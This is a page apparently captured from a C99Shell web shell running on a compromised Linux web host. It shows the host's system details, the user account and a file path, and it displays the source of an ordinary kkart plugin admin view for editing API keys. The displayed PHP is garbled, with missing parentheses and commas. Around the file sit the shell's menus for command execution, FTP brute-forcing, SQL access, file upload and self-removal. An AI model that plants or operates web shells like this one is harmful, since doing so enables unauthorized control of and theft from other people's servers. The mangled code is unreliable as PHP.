!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/includes/admin/settings/views/   drwxr-xr-x
Free 289.82 GB of 429.69 GB (67.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     html-keys-edit.php (5.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Admin view: Edit API keys
 *
 * @package Kkart\Admin\Settings
 */

defined'ABSPATH' ) || exit;
?>

<div id="key-fields" class="settings-panel">
    <h2><?php esc_html_e'Key details''kkart' ); ?></h2>

    <input type="hidden" id="key_id" value="<?php echo esc_attr$key_id ); ?>" />

    <table id="api-keys-options" class="form-table">
        <tbody>
            <tr valign="top">
                <th scope="row" class="titledesc">
                    <label for="key_description">
                        <?php esc_html_e'Description''kkart' ); ?>
                        <?php echo kkart_help_tip__'Friendly name for identifying this key.''kkart' ) ); ?>
                    </label>
                </th>
                <td class="forminp">
                    <input id="key_description" type="text" class="input-text regular-input" value="<?php echo esc_attr$key_data['description'] ); ?>" />
                </td>
            </tr>
            <tr valign="top">
                <th scope="row" class="titledesc">
                    <label for="key_user">
                        <?php esc_html_e'User''kkart' ); ?>
                        <?php echo kkart_help_tip__'Owner of these keys.''kkart' ) ); ?>
                    </label>
                </th>
                <td class="forminp">
                    <?php
                    $current_user_id 
get_current_user_id();
                    
$user_id        = ! empty( $key_data['user_id'] ) ? absint$key_data['user_id'] ) : $current_user_id;
                    
$user           get_user_by'id'$user_id );
                    
$user_string    sprintf(
                        
/* translators: 1: user display name 2: user ID 3: user email */
                        
esc_html__'%1$s (#%2$s &ndash; %3$s)''kkart' ),
                        
$user->display_name,
                        
absint$user->ID ),
                        
$user->user_email
                    
);
                    
?>
                    <select class="kkart-customer-search" id="key_user" data-placeholder="<?php esc_attr_e'Search for a user&hellip;''kkart' ); ?>" data-allow_clear="true">
                        <option value="<?php echo esc_attr$user_id ); ?>" selected="selected"><?php echo htmlspecialcharswp_kses_post$user_string ) ); // htmlspecialchars to prevent XSS when rendered by selectWoo. ?></option>
                    </select>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row" class="titledesc">
                    <label for="key_permissions">
                        <?php esc_html_e'Permissions''kkart' ); ?>
                        <?php echo kkart_help_tip__'Select the access type of these keys.''kkart' ) ); ?>
                    </label>
                </th>
                <td class="forminp">
                    <select id="key_permissions" class="kkart-enhanced-select">
                        <?php
                        $permissions 
= array(
                            
'read'       => __'Read''kkart' ),
                            
'write'      => __'Write''kkart' ),
                            
'read_write' => __'Read/Write''kkart' ),
                        );

                        foreach ( 
$permissions as $permission_id => $permission_name ) :
                            
?>
                            <option value="<?php echo esc_attr$permission_id ); ?><?php selected$key_data['permissions'], $permission_idtrue ); ?>><?php echo esc_html$permission_name ); ?></option>
                        <?php endforeach; ?>
                    </select>
                </td>
            </tr>

            <?php if ( !== $key_id ) : ?>
                <tr valign="top">
                    <th scope="row" class="titledesc">
                        <?php esc_html_e'Consumer key ending in''kkart' ); ?>
                    </th>
                    <td class="forminp">
                        <code>&hellip;<?php echo esc_html$key_data['truncated_key'] ); ?></code>
                    </td>
                </tr>
                <tr valign="top">
                    <th scope="row" class="titledesc">
                        <?php esc_html_e'Last access''kkart' ); ?>
                    </th>
                    <td class="forminp">
                        <span>
                        <?php
                        
if ( ! empty( $key_data['last_access'] ) ) {
                            
/* translators: 1: last access date 2: last access time */
                            
$date sprintf__'%1$s at %2$s''kkart' ), date_i18nkkart_date_format(), strtotime$key_data['last_access'] ) ), date_i18nkkart_time_format(), strtotime$key_data['last_access'] ) ) );

                            echo 
esc_htmlapply_filters'kkart_api_key_last_access_datetime'$date$key_data['last_access'] ) );
                        } else {
                            
esc_html_e'Unknown''kkart' );
                        }
                        
?>
                        </span>
                    </td>
                </tr>
            <?php endif ?>
        </tbody>
    </table>

    <?php do_action'kkart_admin_key_fields'$key_data ); ?>

    <?php
    
if ( === intval$key_id ) ) {
        
submit_button__'Generate API key''kkart' ), 'primary''update_api_key' );
    } else {
        
?>
        <p class="submit">
            <?php submit_button__'Save changes''kkart' ), 'primary''update_api_key'false ); ?>
            <a style="color: #a00; text-decoration: none; margin-left: 10px;" href="<?php echo esc_urlwp_nonce_urladd_query_arg( array( 'revoke-key' => $key_id ), admin_url'admin.php?page=kkart-settings&tab=advanced&section=keys' ) ), 'revoke' ) ); ?>"><?php esc_html_e'Revoke key''kkart' ); ?></a>
        </p>
        <?php
    
}
    
?>
</div>

<script type="text/template" id="tmpl-api-keys-template">
    <p id="copy-error"></p>
    <table class="form-table">
        <tbody>
            <tr valign="top">
                <th scope="row" class="titledesc">
                    <?php esc_html_e'Consumer key''kkart' ); ?>
                </th>
                <td class="forminp">
                    <input id="key_consumer_key" type="text" value="{{ data.consumer_key }}" size="55" readonly="readonly"> <button type="button" class="button-secondary copy-key" data-tip="<?php esc_attr_e'Copied!''kkart' ); ?>"><?php esc_html_e'Copy''kkart' ); ?></button>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row" class="titledesc">
                    <?php esc_html_e'Consumer secret''kkart' ); ?>
                </th>
                <td class="forminp">
                    <input id="key_consumer_secret" type="text" value="{{ data.consumer_secret }}" size="55" readonly="readonly"> <button type="button" class="button-secondary copy-secret" data-tip="<?php esc_attr_e'Copied!''kkart' ); ?>"><?php esc_html_e'Copy''kkart' ); ?></button>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row" class="titledesc">
                    <?php esc_html_e'QRCode''kkart' ); ?>
                </th>
                <td class="forminp">
                    <div id="keys-qrcode"></div>
                </td>
            </tr>
        </tbody>
    </table>
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0053 ]--